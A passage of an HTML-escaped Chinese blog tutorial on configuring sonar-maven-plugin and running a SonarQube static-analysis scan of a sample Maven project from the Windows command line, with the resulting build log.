&lt;div style=&quot;background-color: black; margin: 2px 2px 2px 0px; padding: 4px;&quot;&gt;&lt;pre&gt;&lt;span style=&quot;color: white;&quot;&gt;&amp;lt;build&amp;gt;&lt;br /&gt;    &amp;lt;pluginManagement&amp;gt;&lt;br /&gt;        &amp;lt;plugins&amp;gt;&lt;br /&gt;            &amp;lt;plugin&amp;gt;&lt;br /&gt;                &amp;lt;groupId&amp;gt;org.apache.maven.plugins&amp;lt;/groupId&amp;gt;&lt;br /&gt;                &amp;lt;artifactId&amp;gt;maven-compiler-plugin&amp;lt;/artifactId&amp;gt;&lt;br /&gt;                &amp;lt;version&amp;gt;3.8.1&amp;lt;/version&amp;gt;&lt;br /&gt;            &amp;lt;/plugin&amp;gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #04ff00;&quot;&gt;&amp;lt;!-- 以下為SonarQube而建 --&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: white;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #fff2cc;&quot;&gt;            &amp;lt;plugin&amp;gt;&lt;br /&gt;                &amp;lt;groupId&amp;gt;org.sonarsource.scanner.maven&amp;lt;/groupId&amp;gt;&lt;br /&gt;                &amp;lt;artifactId&amp;gt;sonar-maven-plugin&amp;lt;/artifactId&amp;gt;&lt;br /&gt;                &amp;lt;version&amp;gt;3.9.1.2184&amp;lt;/version&amp;gt;&lt;br /&gt;            &amp;lt;/plugin&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: white;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/pre&gt;
  &lt;/div&gt;
&lt;p style=&quot;margin: 0px 2px 8px 2em;&quot;&gt;這裡可查詢&lt;a href=&quot;https://mvnrepository.com/artifact/org.sonarsource.scanner.maven/sonar-maven-plugin&quot; target=&quot;_blank&quot;&gt;各個版本的sonar scanner插件&lt;/a&gt;，請選擇合適的版本，本例是使用 3.9.1.2184。&lt;/p&gt;
 &lt;p style=&quot;margin-bottom: 2px;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #134f5c;&quot;&gt;三、執行掃描：&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 8px; margin-left: 4em; margin-top: 0px; text-indent: -2em;&quot;&gt;(一)啟動SonarQube Scanner Server，假設位於「 &lt;span style=&quot;color: #cc0000;&quot;&gt;http://192.168.232.153:9000&lt;/span&gt;」&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 8px; margin-left: 4em; text-indent: -2em;&quot;&gt;(二)以瀏覽器連線SonarQube Scanner Server，並建立掃描專案（如重掃描舊專案，請備妥 Project Token）&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 8px; margin-left: 5em; text-indent: -2em;&quot;&gt;1. 由Projects頁面選擇「Create Project」-&amp;gt;「Manually」&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibW-o7_UvtEMgoaWACgDgDq-C6_jLXFRWNk3SkIIrg8hhpx4CM9HKwbv5cn1jjjwNnETkXfGbhQT-UWuoYO3fHf5ffLT6t_BN7x7mp098e-6t-FIlCCxGeiNFnkl1cBQiHkpdwRJvn7SSW15z4iPob32aHPXclfGd6rcPkNT7GbnCmn7Z_PRLIUxbznYjW/s1573/sonar_net_003.PNG&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;246&quot; data-original-width=&quot;1573&quot; height=&quot;63&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEibW-o7_UvtEMgoaWACgDgDq-C6_jLXFRWNk3SkIIrg8hhpx4CM9HKwbv5cn1jjjwNnETkXfGbhQT-UWuoYO3fHf5ffLT6t_BN7x7mp098e-6t-FIlCCxGeiNFnkl1cBQiHkpdwRJvn7SSW15z4iPob32aHPXclfGd6rcPkNT7GbnCmn7Z_PRLIUxbznYjW/w400-h63/sonar_net_003.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 8px; margin-left: 5em; text-indent: -2em;&quot;&gt;2.社群版只能選擇「Locally」&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhByJ7HVS7oWNFB1Xc42d97Q0z8Xw7x_00hQaUVOw_qIjEaGLJADXyaQniwTMjzham_65wekiC-1a3WURsh0I6AWTpivGkvblW2t3oHJha09vVrt9lyxcc1D8JEL1pRf5Qp8QsNulc8BVFVtibqpLATmsIpvPZ_kMqEYoGp3tEcq1ISne27UWlp8ffv_-P_/s647/sonar_net_005.PNG&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;647&quot; data-original-width=&quot;440&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhByJ7HVS7oWNFB1Xc42d97Q0z8Xw7x_00hQaUVOw_qIjEaGLJADXyaQniwTMjzham_65wekiC-1a3WURsh0I6AWTpivGkvblW2t3oHJha09vVrt9lyxcc1D8JEL1pRf5Qp8QsNulc8BVFVtibqpLATmsIpvPZ_kMqEYoGp3tEcq1ISne27UWlp8ffv_-P_/w273-h400/sonar_net_005.PNG&quot; width=&quot;273&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 8px; margin-left: 5em; text-indent: -2em;&quot;&gt;3.填入「Project display name」（專案名稱）及「Project key」（專案鍵名）&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhp2f1XO_N8a_PWwBjtHoxWUTd3-vS0y-VdjYkTS_62g4_ejRN8jc0ShXxbY0xFo8ydxOp94HUFLTvNmMoHDvyJxKlydxBxyzglRciPB3t8sfJezxDaEkZCYsEdtmR1U7N8jld3ocd6-543ijHA0J7dnYc3mHgqcRONEHU2tUhkaLpER9Gbt0WqfayKBvOc/s700/sonar_net_004.PNG&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;700&quot; data-original-width=&quot;549&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhp2f1XO_N8a_PWwBjtHoxWUTd3-vS0y-VdjYkTS_62g4_ejRN8jc0ShXxbY0xFo8ydxOp94HUFLTvNmMoHDvyJxKlydxBxyzglRciPB3t8sfJezxDaEkZCYsEdtmR1U7N8jld3ocd6-543ijHA0J7dnYc3mHgqcRONEHU2tUhkaLpER9Gbt0WqfayKBvOc/w314-h400/sonar_net_004.PNG&quot; width=&quot;314&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 8px; margin-left: 5em; text-indent: -2em;&quot;&gt;4.產生Project Token（專案身份代號）&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfk5iqDshw6OkOBLyU-ZWpO4VNyRm1H7i4U5BUuYdSxNDyvCpsgr6JjCw1iGdrKGJxr_N78qL2nY3stQQ8Iym9WtEyR3N-P_vSf7O1VNZi7x7lcbIvksFiDCJW0AZplwilcOixmCPKp7chzvWxEMrOSXP7ZKB-FUlwHyCdDBwrHqSTKZ2IVXVPo_M2vlPQ/s815/sonar_net_006.PNG&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;613&quot; data-original-width=&quot;815&quot; height=&quot;301&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfk5iqDshw6OkOBLyU-ZWpO4VNyRm1H7i4U5BUuYdSxNDyvCpsgr6JjCw1iGdrKGJxr_N78qL2nY3stQQ8Iym9WtEyR3N-P_vSf7O1VNZi7x7lcbIvksFiDCJW0AZplwilcOixmCPKp7chzvWxEMrOSXP7ZKB-FUlwHyCdDBwrHqSTKZ2IVXVPo_M2vlPQ/w400-h301/sonar_net_006.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 8px; margin-left: 5em; text-indent: -2em;&quot;&gt;5.請記下Project Token&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhOuVYqrrgqZlXR2uPHIYi1GwZchWM1W4i3-R2aGkNcArLVaHClwhjhWGaKkCR5O1wMTAuBNBrmL0Qa1OPLgwg6uvrMtNJsVIia4dWpLKwKiXFtMdn3t5X98lle8725nvg-0AlwSyUDoDdUZJEjx-JavgDqv0TUvCcqIyHk_yEdKykSh7h-qihZG9lAQwe9/s846/sonar_net_core_007.PNG&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;563&quot; data-original-width=&quot;846&quot; height=&quot;266&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhOuVYqrrgqZlXR2uPHIYi1GwZchWM1W4i3-R2aGkNcArLVaHClwhjhWGaKkCR5O1wMTAuBNBrmL0Qa1OPLgwg6uvrMtNJsVIia4dWpLKwKiXFtMdn3t5X98lle8725nvg-0AlwSyUDoDdUZJEjx-JavgDqv0TUvCcqIyHk_yEdKykSh7h-qihZG9lAQwe9/w400-h266/sonar_net_core_007.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;br /&gt;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 8px; margin-left: 5em; text-indent: -2em;&quot;&gt;6.選擇要被掃描的專案類型（Maven）&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZXZikEOybXNhW9KZxJdpD4VOKdFsuC6aHDCxh_TTWvvr8ft6_ZjN0aLE88QdawVDB2ZLiRmuG_tqpuclSPgf-hCjLF826PA_hqaSdLiYjjNeQ66WCPlYx7NMqL4Y8XFuctG0rTIsifkYKkZLK0j2ESJmChiMHxvv78JEbrNQE-DDcbMC-9-EKK5tIScQN/s1660/maven%E6%8E%83%E6%8F%8F01.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;702&quot; data-original-width=&quot;1660&quot; height=&quot;169&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZXZikEOybXNhW9KZxJdpD4VOKdFsuC6aHDCxh_TTWvvr8ft6_ZjN0aLE88QdawVDB2ZLiRmuG_tqpuclSPgf-hCjLF826PA_hqaSdLiYjjNeQ66WCPlYx7NMqL4Y8XFuctG0rTIsifkYKkZLK0j2ESJmChiMHxvv78JEbrNQE-DDcbMC-9-EKK5tIScQN/w400-h169/maven%E6%8E%83%E6%8F%8F01.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;br /&gt;&lt;/div&gt;
 &lt;p style=&quot;margin-bottom: 8px; margin-left: 4em; text-indent: -2em;&quot;&gt;(三)開啟命令提示字元，將工作目錄切換到待掃描的Maven專案目錄，本例使用&lt;a href=&quot;https://github.com/SonarSource/sonar-scanning-examples&quot; target=&quot;_blank&quot;&gt;sonar-scanning-examples-master&lt;/a&gt;的sonarqube-scanner-msbuild專案做示範，下載後置於C:\sonar-scanning-examples-master\sonarqube-scanner-msbuild。&lt;/p&gt;&lt;p style=&quot;margin-bottom: 8px; margin-left: 4em; text-indent: -2em;&quot;&gt;&lt;span style=&quot;text-indent: -2em;&quot;&gt;(四)如果已完成項一及項二的要求，便可直接複製及執行SonarQube所提供的命令。&lt;br /&gt;由於此命令是Linux格式，本例是在Windows環境執行，需調整命令語句，將原始命的整理成單一列：&lt;/span&gt;&lt;/p&gt;
 &lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRGtXpR48QJwRZ6-kFdKrGBreJnscnT1mkaBIGWMsnsbKVIvqB3mijkRjlGYfZbFufC85y0V4IjztZ9H8GrK84emSP-ZYRXAkWGkhDbhR_b0b4IO7p-FZijSFZDJb0BFuWS-y9ODDQ3OmARpB3x6lBxVVmiHui05mXf9AGyggoXwvsf3T-2HcZcGp8SXha/s1096/sonar-command.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;378&quot; data-original-width=&quot;1096&quot; height=&quot;138&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRGtXpR48QJwRZ6-kFdKrGBreJnscnT1mkaBIGWMsnsbKVIvqB3mijkRjlGYfZbFufC85y0V4IjztZ9H8GrK84emSP-ZYRXAkWGkhDbhR_b0b4IO7p-FZijSFZDJb0BFuWS-y9ODDQ3OmARpB3x6lBxVVmiHui05mXf9AGyggoXwvsf3T-2HcZcGp8SXha/w400-h138/sonar-command.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 8px; margin-left: 4em; text-indent: -2em;&quot;&gt;(五)若想靈活切換SDK版本，可以在開啟命令提示字元後，依續執行：&lt;br /&gt;&lt;/p&gt;
  &lt;div style=&quot;background-color: black; border: 1px dashed rgb(211, 84, 0); line-height: 100%; padding: 4px; word-break: break-all;&quot;&gt;&lt;span&gt;&lt;span style=&quot;color: white;&quot;&gt;C:\&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #e69138;&quot;&gt;set JAVA_HOME=c:\java\jdk-11.0.2&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: white;&quot;&gt;C:\&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #e69138;&quot;&gt;set path=%JAVA_HOME%\bin;%PATH%&lt;/span&gt;&lt;span style=&quot;color: #e69138;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #04ff00;&quot;&gt;#加在前面，確保被優先引用&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: white;&quot;&gt;C:\&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #e69138;&quot;&gt;cd c:\sonar-scanning-examples-master\sonarqube-scanner-msbuild&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;
C:\sonar-scanning-examples-master\sonarqube-scanner-msbuild&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #e69138;&quot;&gt;mvn clean verify sonar:sonar -Dsonar.projectKey=Examp-Maven-A -Dsonar.host.url=http://192.168.232.129:9000 -Dsonar.login=sqp_dba30fef39a3676dd2c2bba4ae197d96ae58aa03&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #04ff00;&quot;&gt;&amp;nbsp; &amp;nbsp;或者&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;&lt;br /&gt;C:\sonar-scanning-examples-master\sonarqube-scanner-msbuild&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #e69138;&quot;&gt;mvn clean verify &lt;span style=&quot;background-color: #caff33;&quot;&gt;org.sonarsource.scanner.maven:sonar-maven-plugin:3.9.1.2184&lt;/span&gt;:sonar -Dsonar.projectKey=Examp-Maven-A -Dsonar.host.url=http://192.168.232.129:9000 -Dsonar.login=sqp_dba30fef39a3676dd2c2bba4ae197d96ae58aa03
  &lt;/span&gt;&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 8px; margin-left: 4em; text-indent: -2em;&quot;&gt;(六)執行過程如下所示(&lt;span style=&quot;color: #e69138;&quot;&gt;&lt;b&gt;橘紅色部分是我所執行的命令&lt;/b&gt;&lt;/span&gt;）&lt;/p&gt;
 &lt;div style=&quot;background-color: black; border: 1px dashed rgb(211, 84, 0); line-height: 100%; padding: 4px; word-break: break-all;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;C:\&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #e69138;&quot;&gt;java -version&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;openjdk version &quot;11.0.2&quot; 2019-01-15&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;
 OpenJDK Runtime Environment 18.9 (build 11.0.2+9)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;
 OpenJDK 64-Bit Server VM 18.9 (build 11.0.2+9, mixed mode)&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;
 C:\&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #e69138;&quot;&gt;cd sonar-scanning-examples-master\sonarqube-scanner-maven\maven-multimodule&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;
 C:\sonar-scanning-examples-master\sonarqube-scanner-maven\maven-multimodule&amp;gt;&lt;/span&gt;&lt;span style=&quot;color: #e69138;&quot;&gt;mvn clean verify org.sonarsource.scanner.maven:sonar-maven-plugin:3.9.1.2184:sonar -Dsonar.projectKey=Examp-Maven-A&amp;nbsp; -Dsonar.host.url=http://192.168.232.129:9000 -Dsonar.login=sqp_dba30fef39a3676dd2c2bba4ae197d96ae58aa03&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;
 [&lt;/span&gt;&lt;span style=&quot;color: #76a5af;&quot;&gt;INFO&lt;/span&gt;&lt;span style=&quot;color: white;&quot;&gt;] Scanning for projects...&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;
 [&lt;/span&gt;&lt;span style=&quot;color: #76a5af;&quot;&gt;INFO&lt;/span&gt;&lt;span style=&quot;color: white;&quot;&gt;] ------------------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;
 [&lt;/span&gt;&lt;span style=&quot;color: #76a5af;&quot;&gt;INFO&lt;/span&gt;&lt;span style=&quot;color: white;&quot;&gt;] Reactor Build Order:&lt;/span&gt;&lt;br /&gt;
  &lt;span style=&quot;color: white;&quot;&gt;
 [&lt;/span&gt;&lt;span style=&quot;color: #76a5af;&quot;&gt;INFO&lt;/span&gt;&lt;span style=&quot;color: white;&quot;&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;
 [&lt;/span&gt;&lt;span style=&quot;color: #76a5af;&quot;&gt;INFO&lt;/span&gt;&lt;span style=&quot;color: white;&quot;&gt;] Example of multi-module Maven project&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; [pom]&lt;/span&gt;&lt;br /&gt;
 &lt;span style=&quot;color: white;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #76a5af;&quot;&gt;INFO&lt;/span&gt;&lt;span style=&quot;color: white;&quot;&gt;] Module 1&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;[jar]&lt;/span&gt;&lt;br /&gt;
 &lt;span style=&quot;color: white;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #76a5af;&quot;&gt;INFO&lt;/span&gt;&lt;span style=&quot;color: white;&quot;&gt;] Module 2&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;[jar]&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;
 [&lt;/span&gt;&lt;span style=&quot;color: #76a5af;&quot;&gt;INFO&lt;/span&gt;&lt;span style=&quot;color: white;&quot;&gt;] Tests&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; [jar]&lt;/span&gt;&lt;br /&gt;
 &lt;span&gt;&lt;br /&gt;&lt;b&gt;&lt;span style=&quot;color: #ff00fe;&quot;&gt;&amp;lt;&amp;lt;部分訊息省略&amp;gt;&amp;gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;&lt;br /&gt;[&lt;/span&gt;&lt;span style=&quot;color: #76a5af;&quot;&gt;INFO&lt;/span&gt;&lt;span style=&quot;color: white;&quot;&gt;] ANALYSIS SUCCESSFUL, you can find the results at: http://192.168.232.129:9000/dashboard?id=Examp-Maven-A&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;
 [&lt;/span&gt;&lt;span style=&quot;color: #76a5af;&quot;&gt;INFO&lt;/span&gt;&lt;span style=&quot;color: white;&quot;&gt;] Note that you will be able to access the updated dashboard once the server has processed the submitted analysis report&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;
 [&lt;/span&gt;&lt;span style=&quot;color: #76a5af;&quot;&gt;INFO&lt;/span&gt;&lt;span style=&quot;color: white;&quot;&gt;] More about the report processing at http://192.168.232.129:9000/api/ce/task?id=AYrZSjAxVbRR_GlSxZsf&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;
 [&lt;/span&gt;&lt;span style=&quot;color: #76a5af;&quot;&gt;INFO&lt;/span&gt;&lt;span style=&quot;color: white;&quot;&gt;] Analysis total time: 7.571 s&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;
 [&lt;/span&gt;&lt;span style=&quot;color: #76a5af;&quot;&gt;INFO&lt;/span&gt;&lt;span style=&quot;color: white;&quot;&gt;] ------------------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;
 [&lt;/span&gt;&lt;span style=&quot;color: #76a5af;&quot;&gt;INFO&lt;/span&gt;&lt;span style=&quot;color: white;&quot;&gt;] Reactor Summary for Example of multi-module Maven project 1.0-SNAPSHOT:&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;
 [&lt;/span&gt;&lt;span style=&quot;color: #76a5af;&quot;&gt;INFO&lt;/span&gt;&lt;span style=&quot;color: white;&quot;&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;
 [&lt;/span&gt;&lt;span style=&quot;color: #76a5af;&quot;&gt;INFO&lt;/span&gt;&lt;span style=&quot;color: white;&quot;&gt;] Example of multi-module Maven project .............. SUCCESS [&amp;nbsp; 9.495 s]&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;
 [&lt;/span&gt;&lt;span style=&quot;color: #76a5af;&quot;&gt;INFO&lt;/span&gt;&lt;span style=&quot;color: white;&quot;&gt;] Module 1 ........................................... &lt;/span&gt;&lt;span style=&quot;color: #04ff00;&quot;&gt;SUCCESS&lt;/span&gt;&lt;span style=&quot;color: white;&quot;&gt; [&amp;nbsp; 6.353 s]&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;
 [&lt;/span&gt;&lt;span style=&quot;color: #76a5af;&quot;&gt;INFO&lt;/span&gt;&lt;span style=&quot;color: white;&quot;&gt;] Module 2 ........................................... &lt;/span&gt;&lt;span style=&quot;color: #04ff00;&quot;&gt;SUCCESS&lt;/span&gt;&lt;span style=&quot;color: white;&quot;&gt; [&amp;nbsp; 1.566 s]&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;
 [&lt;/span&gt;&lt;span style=&quot;color: #76a5af;&quot;&gt;INFO&lt;/span&gt;&lt;span style=&quot;color: white;&quot;&gt;] Tests .............................................. &lt;/span&gt;&lt;span style=&quot;color: #04ff00;&quot;&gt;SUCCESS&lt;/span&gt;&lt;span style=&quot;color: white;&quot;&gt; [&amp;nbsp; 1.851 s]&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;
 [&lt;/span&gt;&lt;span style=&quot;color: #76a5af;&quot;&gt;INFO&lt;/span&gt;&lt;span style=&quot;color: white;&quot;&gt;] ------------------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;
 [&lt;/span&gt;&lt;span style=&quot;color: #76a5af;&quot;&gt;INFO&lt;/span&gt;&lt;span style=&quot;color: white;&quot;&gt;] &lt;/span&gt;&lt;span style=&quot;color: #04ff00;&quot;&gt;BUILD SUCCESS&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;
 [&lt;/span&gt;&lt;span style=&quot;color: #76a5af;&quot;&gt;INFO&lt;/span&gt;&lt;span style=&quot;color: white;&quot;&gt;] ------------------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;
 [&lt;/span&gt;&lt;span style=&quot;color: #76a5af;&quot;&gt;INFO&lt;/span&gt;&lt;span style=&quot;color: white;&quot;&gt;] Total time:&amp;nbsp; 23.218 s&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;
 [&lt;/span&gt;&lt;span style=&quot;color: #76a5af;&quot;&gt;INFO&lt;/span&gt;&lt;span style=&quot;color: white;&quot;&gt;] Finished at: 2023-09-28T08:57:11+08:00&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;
 [&lt;/span&gt;&lt;span style=&quot;color: #76a5af;&quot;&gt;INFO&lt;/span&gt;&lt;span style=&quot;color: white;&quot;&gt;] ------------------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: white;&quot;&gt;
 C:\sonar-scanning-examples-master\sonarqube-scanner-maven\maven-multimodule&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;hr style=&quot;border: 2px solid rgb(14, 230, 34);&quot; /&gt;
&lt;p style=&quot;margin-bottom: 8px; text-indent: 2em;&quot;&gt;如果前面各步驟無誤，應該可以完成掃描，最後會看到「EXECUTION SUCCESS」。如果過程出現錯誤，請仔細研讀訊息，善用Google或ChatGPT找出解答。&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 8px; text-indent: 2em;&quot;&gt;完成掃描後，可在SonarQube Scanner Web UI看到專案結果~~&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiH8G09tFcE2Ip7-O9CH0ka8lECr3YmuBhfMI-VkzPL6y6RRnDWrUGTYoWkboFFMfRXuVwupBVNn4WYJGHuwwu5l_cqi95nrAew_ataWShVAiOGwvM0QOSqih5BQTbdwjkMnAUHiRVHAUbLXbu9J8dMfbqa5FeGCwiF0TvL83-EVtekzrdd3r3CV4vb8UH_/s1701/results.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;386&quot; data-original-width=&quot;1701&quot; height=&quot;91&quot; 